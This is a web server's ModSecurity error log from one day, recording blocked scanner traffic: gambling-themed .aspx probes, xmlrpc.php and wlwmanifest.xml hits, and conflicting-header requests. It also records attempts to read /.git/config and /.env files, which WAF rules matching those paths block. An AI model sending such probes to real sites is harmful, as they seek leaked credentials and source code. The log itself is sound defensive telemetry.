[Sun Apr 19 07:44:42.798122 2026] [:error] [pid 47775:tid 47853] [client 135.181.180.59:21346] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aeQXarmztjlk9tsmoeyWPQAAAIo"]
[Sun Apr 19 07:44:45.402229 2026] [:error] [pid 15765:tid 15862] [client 135.181.180.59:16272] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeQXbfRqinw-W5EwQ76dKQAAAok"]
[Sun Apr 19 07:44:48.010855 2026] [:error] [pid 47773:tid 47838] [client 135.181.180.59:16284] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeQXcOiBHdnCJDuPq9CW3wAAAFY"]
[Sun Apr 19 07:45:00.183725 2026] [:error] [pid 15760:tid 15777] [client 135.181.180.59:44986] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aeQXfPSdD_XHQMJ_ISsoLgAAAck"]
[Sun Apr 19 07:45:02.709983 2026] [:error] [pid 47773:tid 47821] [client 135.181.180.59:45002] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aeQXfuiBHdnCJDuPq9CW9QAAAEU"]
[Sun Apr 19 07:45:05.142247 2026] [:error] [pid 15765:tid 15875] [client 135.181.180.59:45010] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aeQXgfRqinw-W5EwQ76dMAAAApY"]
[Sun Apr 19 07:45:07.696559 2026] [:error] [pid 47775:tid 47860] [client 135.181.180.59:4624] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aeQXg7mztjlk9tsmoeyWSQAAAJE"]
[Sun Apr 19 07:45:10.354296 2026] [:error] [pid 47773:tid 47837] [client 135.181.180.59:4638] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aeQXhuiBHdnCJDuPq9CXAQAAAFU"]
[Sun Apr 19 07:45:12.995872 2026] [:error] [pid 15764:tid 15831] [client 135.181.180.59:4646] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aeQXiGLL_sqdSHoVp-QFtQAAAkU"]
[Sun Apr 19 07:45:15.666778 2026] [:error] [pid 15764:tid 15830] [client 135.181.180.59:33342] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aeQXi2LL_sqdSHoVp-QFuAAAAkQ"]
[Sun Apr 19 07:45:18.380807 2026] [:error] [pid 47772:tid 47799] [client 135.181.180.59:33356] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aeQXjoc0L16cb4smAz_OhAAAAAo"]
[Sun Apr 19 07:45:20.900872 2026] [:error] [pid 47773:tid 47816] [client 135.181.180.59:33372] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aeQXkOiBHdnCJDuPq9CXGgAAAEA"]
[Sun Apr 19 07:45:23.407348 2026] [:error] [pid 15764:tid 15850] [client 135.181.180.59:33376] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aeQXk2LL_sqdSHoVp-QFwgAAAlc"]
[Sun Apr 19 07:45:25.906163 2026] [:error] [pid 47886:tid 47910] [client 135.181.180.59:44346] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aeQXlUSe8yiyuPrD7yMKuAAAANY"]
[Sun Apr 19 07:45:28.388626 2026] [:error] [pid 15763:tid 15812] [client 135.181.180.59:44362] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aeQXmLMXv1Y1THOoxaA0UAAAAhA"]
[Sun Apr 19 07:45:31.079820 2026] [:error] [pid 47775:tid 47860] [client 135.181.180.59:44374] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeQXm7mztjlk9tsmoeyWWAAAAJE"]
[Sun Apr 19 07:45:33.614719 2026] [:error] [pid 47773:tid 47832] [client 135.181.180.59:44390] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aeQXneiBHdnCJDuPq9CXLgAAAFA"]
[Sun Apr 19 07:46:11.355292 2026] [:error] [pid 15764:tid 15843] [client 135.181.180.59:13126] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aeQXw2LL_sqdSHoVp-QGRgAAAlE"]
[Sun Apr 19 07:46:13.883943 2026] [:error] [pid 47773:tid 47827] [client 135.181.180.59:13134] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeQXxeiBHdnCJDuPq9CXdQAAAEs"]
[Sun Apr 19 07:46:16.459334 2026] [:error] [pid 15694:tid 15735] [client 135.181.180.59:48118] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aeQXyLimB-jol1fwqArGpgAAAYk"]
[Sun Apr 19 07:46:19.200866 2026] [:error] [pid 15763:tid 15814] [client 135.181.180.59:48128] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aeQXy7MXv1Y1THOoxaA0iAAAAhI"]
[Sun Apr 19 07:46:21.771121 2026] [:error] [pid 47773:tid 47818] [client 135.181.180.59:48140] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aeQXzeiBHdnCJDuPq9CXewAAAEI"]
[Sun Apr 19 07:46:24.367777 2026] [:error] [pid 15764:tid 15828] [client 135.181.180.59:48156] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aeQX0GLL_sqdSHoVp-QGawAAAkI"]
[Sun Apr 19 07:46:26.930539 2026] [:error] [pid 15764:tid 15842] [client 135.181.180.59:46884] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aeQX0mLL_sqdSHoVp-QGcQAAAlA"]
[Sun Apr 19 09:19:00.666624 2026] [:error] [pid 15694:tid 15742] [client 43.153.47.201:39584] [client 43.153.47.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeQthLimB-jol1fwqArNSwAAAZA"]
[Sun Apr 19 10:33:33.299453 2026] [:error] [pid 47772:tid 47802] [client 43.167.236.228:35380] [client 43.167.236.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeQ-_Yc0L16cb4smAz8IOwAAAA0"]
[Sun Apr 19 12:15:22.705375 2026] [:error] [pid 47772:tid 47807] [client 117.192.188.183:60573] [client 117.192.188.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.192.188.183, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aeRW2oc0L16cb4smAz8rFwAAABI"]
[Sun Apr 19 13:16:52.254590 2026] [:error] [pid 15763:tid 15807] [client 51.75.119.75:55604] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aeRlRLMXv1Y1THOoxaCSfAAAAgs"]
[Sun Apr 19 13:16:55.244411 2026] [:error] [pid 15764:tid 15829] [client 51.75.119.75:58080] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aeRlR2LL_sqdSHoVp-R5nQAAAkM"]
[Sun Apr 19 13:16:59.097418 2026] [:error] [pid 15764:tid 15832] [client 51.75.119.75:58088] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aeRlS2LL_sqdSHoVp-R5pAAAAkY"]
[Sun Apr 19 13:17:01.706330 2026] [:error] [pid 15764:tid 15848] [client 51.75.119.75:58104] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aeRlTWLL_sqdSHoVp-R5qQAAAlY"]
[Sun Apr 19 13:17:04.547180 2026] [:error] [pid 15694:tid 15734] [client 51.75.119.75:48112] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aeRlULimB-jol1fwqArjaAAAAYg"]
[Sun Apr 19 13:17:07.061738 2026] [:error] [pid 15763:tid 15804] [client 51.75.119.75:48114] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aeRlU7MXv1Y1THOoxaCSgAAAAgg"]
[Sun Apr 19 13:17:09.624214 2026] [:error] [pid 15764:tid 15843] [client 51.75.119.75:48126] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aeRlVWLL_sqdSHoVp-R5tQAAAlE"]
[Sun Apr 19 14:13:37.121504 2026] [:error] [pid 47775:tid 47848] [client 20.12.204.106:13915] [client 20.12.204.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeRykbmztjlk9tsmoezXTAAAAIU"]
[Sun Apr 19 14:13:43.607740 2026] [:error] [pid 15760:tid 15792] [client 20.12.204.106:13888] [client 20.12.204.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeRyl_SdD_XHQMJ_IStxJgAAAdg"]
[Sun Apr 19 14:13:44.484690 2026] [:error] [pid 15760:tid 15770] [client 20.12.204.106:13719] [client 20.12.204.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeRymPSdD_XHQMJ_IStxKwAAAcI"]
[Sun Apr 19 14:13:46.772788 2026] [:error] [pid 15760:tid 15788] [client 20.12.204.106:13729] [client 20.12.204.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeRymvSdD_XHQMJ_IStxYgAAAdQ"]
[Sun Apr 19 15:17:40.146381 2026] [:error] [pid 15760:tid 15772] [client 43.157.62.101:53666] [client 43.157.62.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeSBlPSdD_XHQMJ_ISuMlAAAAcQ"]
[Sun Apr 19 19:35:08.132822 2026] [:error] [pid 15764:tid 15844] [client 192.210.193.219:38126] [client 192.210.193.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aeS97GLL_sqdSHoVp-TnggAAAlI"]
[Sun Apr 19 19:35:08.323328 2026] [:error] [pid 47772:tid 47807] [client 192.210.193.219:38142] [client 192.210.193.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aeS97Ic0L16cb4smAz-ZygAAABI"]
[Sun Apr 19 19:35:09.202639 2026] [:error] [pid 47772:tid 47809] [client 192.210.193.219:38166] [client 192.210.193.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aeS97Yc0L16cb4smAz-ZzgAAABQ"]
[Sun Apr 19 19:35:09.203402 2026] [:error] [pid 15764:tid 15838] [client 192.210.193.219:38160] [client 192.210.193.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aeS97WLL_sqdSHoVp-TnhAAAAkw"]
[Sun Apr 19 19:35:09.204185 2026] [:error] [pid 15764:tid 15827] [client 192.210.193.219:38180] [client 192.210.193.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aeS97WLL_sqdSHoVp-TnhQAAAkE"]
[Sun Apr 19 20:37:22.578018 2026] [:error] [pid 15760:tid 15783] [client 43.153.7.191:55466] [client 43.153.7.191] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeTMgvSdD_XHQMJ_ISsPXAAAAc8"]
[Sun Apr 19 21:44:42.854556 2026] [:error] [pid 15764:tid 15840] [client 43.156.232.190:57040] [client 43.156.232.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeTcSmLL_sqdSHoVp-QfLgAAAk4"]
[Sun Apr 19 22:04:14.325008 2026] [:error] [pid 47775:tid 47850] [client 138.68.5.226:51770] [client 138.68.5.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeTg3rmztjlk9tsmoewd8gAAAIc"]
[Sun Apr 19 22:22:09.787612 2026] [autoindex:error] [pid 47775:tid 47859] [client 212.47.77.100:61271] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Apr 19 22:50:47.598498 2026] [:error] [pid 15760:tid 15781] [client 146.70.194.222:35974] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aeTrx_SdD_XHQMJ_IStfYAAAAc0"]
[Sun Apr 19 22:50:47.782986 2026] [:error] [pid 47772:tid 47812] [client 146.70.194.222:51660] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aeTrx4c0L16cb4smAz_aGAAAABc"]
[Sun Apr 19 22:50:48.660253 2026] [:error] [pid 15765:tid 15861] [client 146.70.194.222:51848] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeTryPRqinw-W5EwQ74IMwAAAog"]
[Sun Apr 19 22:50:48.818379 2026] [:error] [pid 47775:tid 47855] [client 146.70.194.222:51872] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeTryLmztjlk9tsmoewneAAAAIw"]
[Sun Apr 19 22:50:49.699927 2026] [:error] [pid 47886:tid 47896] [client 146.70.194.222:52014] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aeTryUSe8yiyuPrD7yOFfAAAAMg"]
